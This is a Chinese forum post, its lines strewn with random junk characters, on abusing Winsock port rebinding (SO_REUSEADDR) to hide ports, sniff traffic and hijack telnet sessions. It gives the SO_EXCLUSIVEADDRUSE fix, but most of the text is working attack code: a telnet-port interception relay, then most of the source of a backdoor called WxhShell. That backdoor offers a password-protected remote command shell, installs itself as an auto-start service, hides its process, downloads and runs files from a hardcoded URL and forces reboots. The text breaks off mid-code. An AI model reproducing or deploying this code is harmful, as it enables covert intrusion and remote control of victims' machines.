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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Yh":>~k?SY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [2%[~&4  
1K72}Gj)ZL  
  saddr.sin_family = AF_INET; @IT[-d  
j]Auun  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o>el"0rn.h  
z5+Pi:1w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +HK4sA2;  
'solCAy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yk+ 50/L  
88g3<&  
  这意味着什么?意味着可以进行如下的攻击: i]JTKL{\q  
8:ubtB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Kb.qv)6i*  
D!<F^mtl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wu41Mz7  
vwCQvt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rPV Q#iB  
8Sbz)X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [);oj<  
4ot<Uw5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VF%QM;I[Rc  
!ifU}qFzK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DeO-@4+qKd  
FXQWT9Kk~_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ke4E 1T-1n  
#EzBB*kP  
  #include  j]u!;]  
  #include =o@;K~-  
  #include 7- B.<$uC  
  #include    <I+kB^Er  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dbp\tWaW  
  int main() om3 %\  
  { E)"19l|}B  
  WORD wVersionRequested; k[6J;/  
  DWORD ret; /]0qI  
  WSADATA wsaData; <Xf6?nyZ(  
  BOOL val; |{(<A4W  
  SOCKADDR_IN saddr; !8{ VLg  
  SOCKADDR_IN scaddr; ?Oyo /?/  
  int err; 5cSiV7#Y:  
  SOCKET s; b?H"/Mu.  
  SOCKET sc; |;ztK[(  
  int caddsize; c4JV~VS+  
  HANDLE mt; j-<]OOD  
  DWORD tid;   j3j?2#vR  
  wVersionRequested = MAKEWORD( 2, 2 ); ] l,BUf-O  
  err = WSAStartup( wVersionRequested, &wsaData ); vygzL U^  
  if ( err != 0 ) { ?OD$`{1  
  printf("error!WSAStartup failed!\n"); ]#tB[G  
  return -1; !3Q0Ahf  
  } Y.^L^ "%dF  
  saddr.sin_family = AF_INET; p|>*M\LE#  
   +8Xjk\Hi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I!x.bp~V!  
u4x-GObJM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L2}\Ah"[  
  saddr.sin_port = htons(23); /6x&%G:m#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8 Rx@_   
  { l|CM/(99-  
  printf("error!socket failed!\n"); _NDQ2O  
  return -1; uP~,]ci7  
  } <Ap_#  
  val = TRUE; X! d-"[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Gh;\"Qx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l;?:}\sI=  
  { pUIN`ya[[  
  printf("error!setsockopt failed!\n"); Q(|@&83].  
  return -1; A8{jEJ=)P  
  } ZmA}i`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7?P'f3)fG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dwOfEYC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uD\R3cY  
crmQn ^4\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W .a>K$  
  { M2$/x`\-~  
  ret=GetLastError(); u$ts>Q;5  
  printf("error!bind failed!\n"); )aS:h}zn  
  return -1; Q*DT" W/0  
  } m\:^9A4HCg  
  listen(s,2); MZgaQUg  
  while(1) ]RVu[k8  
  { r,5e/X  
  caddsize = sizeof(scaddr); Mz@{_*2   
  //接受连接请求 9~SPoR/_0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _O`prX.:B0  
  if(sc!=INVALID_SOCKET) ~ 9>H(c  
  { )CGQ}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =RoE=) 1&-  
  if(mt==NULL) `<XS5h h=  
  { }%g[1 #%(  
  printf("Thread Creat Failed!\n"); #S>N}<>  
  break; lhUGo =  
  } E=NjWO  
  } Gu;40)gm  
  CloseHandle(mt); U/>I! 7oe  
  } ;-db/$O  
  closesocket(s); d$ouH%^cGu  
  WSACleanup(); &RR;'wLoQT  
  return 0; WQ|Ufl;  
  }   $^x=i;>aK.  
  DWORD WINAPI ClientThread(LPVOID lpParam) Fh~9(Y#  
  { *5'8jC"2g  
  SOCKET ss = (SOCKET)lpParam; YPK@BmAdE  
  SOCKET sc; rZKh}E  
  unsigned char buf[4096]; ,!= sGUQ)  
  SOCKADDR_IN saddr; 5Tsz|k  
  long num; "x$@^  
  DWORD val; ,&[o:jTk  
  DWORD ret; I4Do$&9<D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CD1Ma8I8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -rDfDdT  
  saddr.sin_family = AF_INET; e=Ox~2S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qq)5)S  
  saddr.sin_port = htons(23); oodA&0{)d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h#1:ypA6l  
  { {_7hX`p  
  printf("error!socket failed!\n"); Bg|d2,im  
  return -1; vfSPgUB)  
  } Q%CrB>|@  
  val = 100; wgz]R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tI^91I  
  { #JUh"8N'  
  ret = GetLastError(); P@y)K!{Nk  
  return -1;  |Iy;_8c  
  } 0fc;H}B*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,[n9DPZ  
  { f]*;O+8$LN  
  ret = GetLastError(); b+Q{Z*  
  return -1; 3MQHoxX  
  } _'p/8K5)=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4s{=/,f  
  {  l!1_~!{y  
  printf("error!socket connect failed!\n"); k$=L&id  
  closesocket(sc); uQG|r)  
  closesocket(ss); NSVE3  
  return -1; x(?Rm,  
  } fhi}x(  
  while(1) P`rfDQoZ  
  { .1(_7!m@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y,?=,x}o#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v hZXgp0X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0MpW!|E  
  num = recv(ss,buf,4096,0); ( yLu=  
  if(num>0) "Lvk?k )hx  
  send(sc,buf,num,0); auI`'O`/  
  else if(num==0) zE;|MU@|  
  break; dPO"8HQ  
  num = recv(sc,buf,4096,0); H~*N:$C  
  if(num>0) ^a qQw u  
  send(ss,buf,num,0); g Cp`J(2v:  
  else if(num==0) "9s}1C;Me  
  break; G/ si( LK  
  } IFW(nB(  
  closesocket(ss); M._h=wX{}  
  closesocket(sc); =lv(  
  return 0 ; ; FI'nL  
  } =pzTB-G  
^5Y<evjm  
wsdZwik  
========================================================== rHk(@T.]  
!"FEp  
下边附上一个代码,,WXhSHELL Q>[{9bI4QP  
AK lr a$  
========================================================== G%Lt>5*!nE  
/ 1TK+E$  
#include "stdafx.h" _W@sFv%sj  
gHgqElr(  
#include <stdio.h> 'h ?  
#include <string.h> lB2 F09`  
#include <windows.h> .NWsr*Tel  
#include <winsock2.h> `?T::&`  
#include <winsvc.h> *56j'FX  
#include <urlmon.h> ZK ?V{X{";  
nVlZ_72d  
#pragma comment (lib, "Ws2_32.lib") `C7pM  
#pragma comment (lib, "urlmon.lib") :bo2H[U+  
},<Y \  
#define MAX_USER   100 // 最大客户端连接数 Vh01y f  
#define BUF_SOCK   200 // sock buffer uJ|,-"~F  
#define KEY_BUFF   255 // 输入 buffer "4KyJ;RA*  
G(A7=8vW  
#define REBOOT     0   // 重启 Y 8}y0]V  
#define SHUTDOWN   1   // 关机 9k4z__Ke  
p  Dg!Cs  
#define DEF_PORT   5000 // 监听端口 A+Bq5mik  
;B< rw ^h5  
#define REG_LEN     16   // 注册表键长度 H [M:iV  
#define SVC_LEN     80   // NT服务名长度 Lcg1X3$G  
uR=*q a  
// 从dll定义API cEXd#TlY~X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o8g] ho  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j0F& WKk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )#Ecm<.^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sw$JY}Q8x  
:\mdVS!o  
// wxhshell配置信息 U_9|ED:  
struct WSCFG { $Q|6W &?[;  
  int ws_port;         // 监听端口 )-6>!6hZ  
  char ws_passstr[REG_LEN]; // 口令 u3cg&lEgT  
  int ws_autoins;       // 安装标记, 1=yes 0=no Dir# [j  
  char ws_regname[REG_LEN]; // 注册表键名 1@-l@ P  
  char ws_svcname[REG_LEN]; // 服务名 wd,6/5=lh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9e;{o,r@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ](+u'8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YYe<StyH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .^- I<4.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q>z (!'dw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uYE"O UNWL  
<0/)v J- 9  
}; 1[Q~&QC  
Oxi^&f||`  
// default Wxhshell configuration *EU1`q*  
struct WSCFG wscfg={DEF_PORT, ^MWp{E  
    "xuhuanlingzhe", 1<]?@[l<  
    1, |>JRJ"CFE  
    "Wxhshell", h-03]M#8=  
    "Wxhshell", h?QGJ^#8  
            "WxhShell Service", -ADb5-px  
    "Wrsky Windows CmdShell Service", I0bkc3  
    "Please Input Your Password: ", {FN CC*=  
  1, t4zKI~cO  
  "http://www.wrsky.com/wxhshell.exe", qz-lQ  
  "Wxhshell.exe" f 0/q{*  
    }; [Z[ p@Ux  
;%/}(&E2  
// 消息定义模块 m.yt?`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9 b&HqkXX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JGlp7wro  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vf!lhV-UG+  
char *msg_ws_ext="\n\rExit."; +W|VCz  
char *msg_ws_end="\n\rQuit."; @i>4k  
char *msg_ws_boot="\n\rReboot..."; xy^z_`  
char *msg_ws_poff="\n\rShutdown..."; wA";N=i=  
char *msg_ws_down="\n\rSave to "; x qj@T^y  
.A7ON1lc^C  
char *msg_ws_err="\n\rErr!"; iT~ gt/K  
char *msg_ws_ok="\n\rOK!"; k~iA'E0-  
jq[Q>"f  
char ExeFile[MAX_PATH]; .|LY /q\A  
int nUser = 0; 9'O@8KB_  
HANDLE handles[MAX_USER]; \k%j  
int OsIsNt; RPTIDA))  
?[8s`caK.  
SERVICE_STATUS       serviceStatus; ?2S<D5M Sb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &*qAB)* *  
'Y5l3xQk  
// 函数声明 %PM8;]  
int Install(void);  LII4sf]  
int Uninstall(void); zE=^}K+  
int DownloadFile(char *sURL, SOCKET wsh); h(FFG%H(  
int Boot(int flag); *5" )3\/  
void HideProc(void); j-/F *P  
int GetOsVer(void); YZc{\~d  
int Wxhshell(SOCKET wsl); 1{CVd m<9  
void TalkWithClient(void *cs); nhB.>ReAi  
int CmdShell(SOCKET sock); TdrRg''@  
int StartFromService(void); m>^#:JK  
int StartWxhshell(LPSTR lpCmdLine); $*+`;PG-  
?fvK<0S`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 810uxw{\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Nf9$q| %!  
%xwtG:IKEV  
// 数据结构和表定义 zRA,Yi4;+  
SERVICE_TABLE_ENTRY DispatchTable[] = ugQySg>  
{ KD8,a+GL  
{wscfg.ws_svcname, NTServiceMain}, z#srgyLt  
{NULL, NULL} z4s{a(Tsd  
}; 26-K:"  
bSk)GZyH\d  
// 自我安装 $G#)D^-5G  
int Install(void) +Y440Tz  
{ DP &*P/  
  char svExeFile[MAX_PATH]; ~ ll+/w\4  
  HKEY key; ByW,YKMy  
  strcpy(svExeFile,ExeFile); k mX:~KMb  
 tZN'OoZ  
// 如果是win9x系统,修改注册表设为自启动 ]]V| ]}<)m  
if(!OsIsNt) { 5NhwIu^<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '+\.&'A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }N#hg>; B  
  RegCloseKey(key); QzD8 jk#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'zx1kq1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `;3fnTI:1  
  RegCloseKey(key); ()EiBl(kWk  
  return 0; HhT6gJWrU  
    } a>)|SfsE  
  } /~_,p,:aP  
} j<-YK4.t  
else { ?`=r@  
^r^)  &]  
// 如果是NT以上系统,安装为系统服务 O`'r:&#W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1y6{3AZm<  
if (schSCManager!=0) 5H/D~hr&  
{ 3/RNStd<L!  
  SC_HANDLE schService = CreateService ),U>AiF]  
  ( $w ,^q+  
  schSCManager, j%Z%_{6Ds*  
  wscfg.ws_svcname, S!.H _=z%p  
  wscfg.ws_svcdisp, <izn B8@  
  SERVICE_ALL_ACCESS, oz?pE[[tm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W< :7z  
  SERVICE_AUTO_START, 4w(#`'I>  
  SERVICE_ERROR_NORMAL, YjwC8#$  
  svExeFile, [UYE.$Y#(  
  NULL, PG'+vl  
  NULL, kTS #>uS  
  NULL, ~cW,B}  
  NULL, +{H0$4y  
  NULL >vc$3%L[$  
  ); S2"H E`  
  if (schService!=0) LVxR *O  
  { Et+WLQ6)  
  CloseServiceHandle(schService); 7eQc14  
  CloseServiceHandle(schSCManager); y[I)hSD=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6%fF6  
  strcat(svExeFile,wscfg.ws_svcname); *waaM]u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H4IJLZ3G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U9:I"f,  
  RegCloseKey(key); } ^n346^  
  return 0; pJ3Yjm[l  
    } (z.eXoP@>  
  } ibQN pIz  
  CloseServiceHandle(schSCManager); M}xyW"yp  
} C *U,$8j|}  
} cP`[/5R  
H+F>#  
return 1; K}9c$C4  
} \"?5CHz*  
}(Dt,F`  
// 自我卸载 TAKv E=a;  
int Uninstall(void) hScC< =W  
{ .{ r %C4q9  
  HKEY key; _Xzl=j9[  
*MZa|Xy  
if(!OsIsNt) { gP:H_nVh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qfl#ki`,  
  RegDeleteValue(key,wscfg.ws_regname); `w#p8vR  
  RegCloseKey(key); |Y]4PT#EE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tt\G y  
  RegDeleteValue(key,wscfg.ws_regname); y8CH=U[  
  RegCloseKey(key); [X\~J &kD  
  return 0; O#B2XoZa+  
  } OCN@P+L3q  
} wJu,N(U  
} DNy 6Kw  
else { 8AuOe7D9A  
Q,< V)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VVDd39q  
if (schSCManager!=0) oeIza<:=R  
{ o=y0=,:a?9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _"688u'88  
  if (schService!=0) vOi4$I~CJ  
  { Z@ QJ5F1y  
  if(DeleteService(schService)!=0) { ylwh_&>2  
  CloseServiceHandle(schService); ?)?}^  
  CloseServiceHandle(schSCManager); x{#W84  
  return 0; e|S_B*1*0  
  } iFkXt<_A  
  CloseServiceHandle(schService); k*uLjU  
  } 6Dz N.fz  
  CloseServiceHandle(schSCManager); )HJ#|JpxC  
} u5E\wRn  
} t @vb3  
Xjs`iK=w  
return 1; #f-pkeaeq  
} r`5svY  
$hq'9}ASOL  
// 从指定url下载文件 SVJt= M  
int DownloadFile(char *sURL, SOCKET wsh) 1&#qq*{  
{ 1?,1EYT"  
  HRESULT hr; -wrVhCd~g]  
char seps[]= "/"; j$Wd[Ja+O  
char *token; lmpBf{~ S  
char *file; 9HBRWh6  
char myURL[MAX_PATH]; $ v0beN6MG  
char myFILE[MAX_PATH]; HGl.dO 7NU  
r0(*]K:.  
strcpy(myURL,sURL); ]o3K  
  token=strtok(myURL,seps); EaUO>S  
  while(token!=NULL) #d;/Me  
  { 4"~l^yK  
    file=token; c= #V*<  
  token=strtok(NULL,seps); : oO ?A  
  } "1|\V.>>;  
O"V;otlC  
GetCurrentDirectory(MAX_PATH,myFILE); nC(<eL  
strcat(myFILE, "\\"); =]m,7v Rq  
strcat(myFILE, file); pUD(5v*0R  
  send(wsh,myFILE,strlen(myFILE),0); f S-PM3  
send(wsh,"...",3,0); iM(Q-%HP_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r%412 #  
  if(hr==S_OK) t5;)<N`  
return 0; gUHx(Fi[4  
else SBh"^q  
return 1; U2vM|7 ]VP  
+ [~)a 4#  
} \dJOZ2J<z  
J>8kJCh9g  
// 系统电源模块 &>P<Zw-  
int Boot(int flag) mnL+@mm  
{ i !;9A6D  
  HANDLE hToken; %00cC~}4  
  TOKEN_PRIVILEGES tkp; qT~a`ou:  
%&j \:X~A  
  if(OsIsNt) { t W}"PKv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #\Zr$?t|V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u~7fK  
    tkp.PrivilegeCount = 1; \![ p-mW{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .t7ME{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DM,)nh6'  
if(flag==REBOOT) { {"c`k4R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nrg$V>pD  
  return 0; 1YN w=  
} x;{Hd;<YF  
else { mgMa)yc!dp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M $f6. j  
  return 0; a:Nf +t  
} \,ne7G21j  
  } K[yP{01  
  else { J`[gE`d  
if(flag==REBOOT) { XAZPbvG|$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {krBAz&  
  return 0; cx]H8]ch7  
} +kN,OK~  
else { 'xLXj>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8([ MR  
  return 0; BbiyyRa  
} _y&XFdp  
} X;n09 L`CB  
?dPr HSy  
return 1; 0 9qfnQG  
} Y"L|D,ex  
QBh*x/J  
// win9x进程隐藏模块 @C%6Wo4l3  
void HideProc(void) ST2:&xH(  
{ OG9 '[o`8  
!yd ]~t 5Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b gxk:$E  
  if ( hKernel != NULL ) `<{LW>Lb  
  { "  sC]z}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); />N#PF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vVP.9(  
    FreeLibrary(hKernel); yi:}UlO  
  } l(W?]{C[%  
YmpaLZJ  
return; !9.FI{W  
} Ii&p v  
{,u})U2  
// 获取操作系统版本 hw.>HT|.N  
int GetOsVer(void) bYoBJ #UX  
{ 8 /%{xB^  
  OSVERSIONINFO winfo; w51l;2$des  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y+Hz(}4  
  GetVersionEx(&winfo); D(OJr5Gg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1$+8wDVwad  
  return 1; :%Oz:YxC/  
  else e"_kH_7sv  
  return 0; JEaTDV_  
} +xvn n  
;6~5FTmV  
// 客户端句柄模块 Eh)VT{vp  
int Wxhshell(SOCKET wsl) l4dG=x}M]  
{ #4JLWg  
  SOCKET wsh; T:@7EL  
  struct sockaddr_in client; k~gOL#$  
  DWORD myID; w $Fg 0JS  
X&kp1Ih<^  
  while(nUser<MAX_USER) Xhq6l3M  
{ M9""(`U  
  int nSize=sizeof(client); T9XUNR{&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .xuzu#-  
  if(wsh==INVALID_SOCKET) return 1; jRd$Vt  
#lg R"%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $wi4cHh  
if(handles[nUser]==0) -cijLlz%+  
  closesocket(wsh); zhm0 J-g  
else CJER&"em7  
  nUser++; a+cDH  
  } gb|;]mk*"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IxS%V31  
iPCCTs  
  return 0; ,wM4X'] HR  
} &x[7?Y L  
0#DEh|?  
// 关闭 socket nJGs,~"  
void CloseIt(SOCKET wsh) X9NP,6  
{ k|\M(Z*(P  
closesocket(wsh); fIl!{pv[  
nUser--; jw9v&/-  
ExitThread(0); O$}.b=N9  
} $XTtDUP@  
SJ<v< B  
// 客户端请求句柄 dJ m9''T')  
void TalkWithClient(void *cs) ~D>pu%F  
{ KX]!yA  
g&y^r/  
  SOCKET wsh=(SOCKET)cs; %T\hL\L?  
  char pwd[SVC_LEN]; 8*@{}O##  
  char cmd[KEY_BUFF]; huS*1xl  
char chr[1]; \ ZE[7Ae  
int i,j; pA8As  
`:;q4zij;  
  while (nUser < MAX_USER) { E_aBDiyDf  
Y*PfU +y~  
if(wscfg.ws_passstr) { g_`a_0v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9$Z0mzk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /1v9U|j  
  //ZeroMemory(pwd,KEY_BUFF); Z#L4n#TT  
      i=0; V^&*y+  
  while(i<SVC_LEN) { 5.oIyC^Ik  
1kKfFpN  
  // 设置超时 g+4y^x(X@1  
  fd_set FdRead; P3: t 4^  
  struct timeval TimeOut; ?q9] H5\  
  FD_ZERO(&FdRead); BhzDV  
  FD_SET(wsh,&FdRead); 3,Yr%`/5'  
  TimeOut.tv_sec=8; DegbjqZ#  
  TimeOut.tv_usec=0; d_M+W@{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4minzrKM\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @;tfHoXD  
]5c(:T F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "mf$E|  
  pwd=chr[0]; SXZ9+<\  
  if(chr[0]==0xd || chr[0]==0xa) { m]!hP^^  
  pwd=0; *k}m?;esb  
  break; V7Cnu:0_  
  } "H).2{3(x  
  i++; 7!pKlmQ  
    } ZQ_6I}i")  
~}}<+JEEO  
  // 如果是非法用户,关闭 socket o~IAZU39  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~qrSHn}+PU  
} ]|.ked  
^0}ma*gi~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]*\MIz{56'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JiaR*3#  
14B',]`  
while(1) { q\?s<l63  
eMC^ORdY  
  ZeroMemory(cmd,KEY_BUFF); :xPo*#[Z(A  
[3G{NC|'  
      // 自动支持客户端 telnet标准   igfQ,LWe!  
  j=0; q[a\a7U z  
  while(j<KEY_BUFF) { %-540V{q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p)yP_P  
  cmd[j]=chr[0]; heCM+ =#~  
  if(chr[0]==0xa || chr[0]==0xd) { .Q,"gsY  
  cmd[j]=0; *x|%Nua"  
  break; FN-/~Su~J  
  } $u!(F]^  
  j++; BB/wL_=:  
    } i D IY|  
 7H  
  // 下载文件 y9 {7+]  
  if(strstr(cmd,"http://")) { %Hbq3U30  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~R w1  
  if(DownloadFile(cmd,wsh)) T+}|$/Tv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'K?h6?#  
  else S)WxTE9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (BVqmi{  
  } C e-ru)  
  else { tb+gCs'D  
?ZlXh51  
    switch(cmd[0]) { })/P[^  
  Yub}AuU`v  
  // 帮助 Cdz&'en^  
  case '?': { _Sr7b#)o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iWf+wC|  
    break; '^m.vS!/  
  } 3\XNOJH  
  // 安装 cmG27\cRO  
  case 'i': { ;{sZDjev>  
    if(Install()) d&FXndC4F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /grTOf&  
    else f,TW|Y'{g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MeEa|.  
    break;  TUcFx_  
    } "/Qz?1>l+  
  // 卸载 M%S7cIX ]F  
  case 'r': { rFg$7  
    if(Uninstall()) o72r `2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -qIi.]/f"9  
    else f CU]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *#Cx-J  
    break; oe|#!SM(  
    } `q*[fd1u.  
  // 显示 wxhshell 所在路径 OTXZdAv  
  case 'p': { Ib#-M;{  
    char svExeFile[MAX_PATH]; bej(Ds0  
    strcpy(svExeFile,"\n\r"); ]->"4,}  
      strcat(svExeFile,ExeFile); S; % &X  
        send(wsh,svExeFile,strlen(svExeFile),0); !<p,G`r  
    break; u5oM;#{@-  
    } |2j,  
  // 重启 /4an@5.\C  
  case 'b': { p3=Py7iz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m)tu~ neM  
    if(Boot(REBOOT)) JQ1MuE'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]/=RABi  
    else { " ]S  
    closesocket(wsh); O k`}\NZL  
    ExitThread(0); yJ $6vmQ  
    } q5(t2nNb  
    break; M&V'*.xz  
    } xS,24{-HJ  
  // 关机 QRQZ{m  
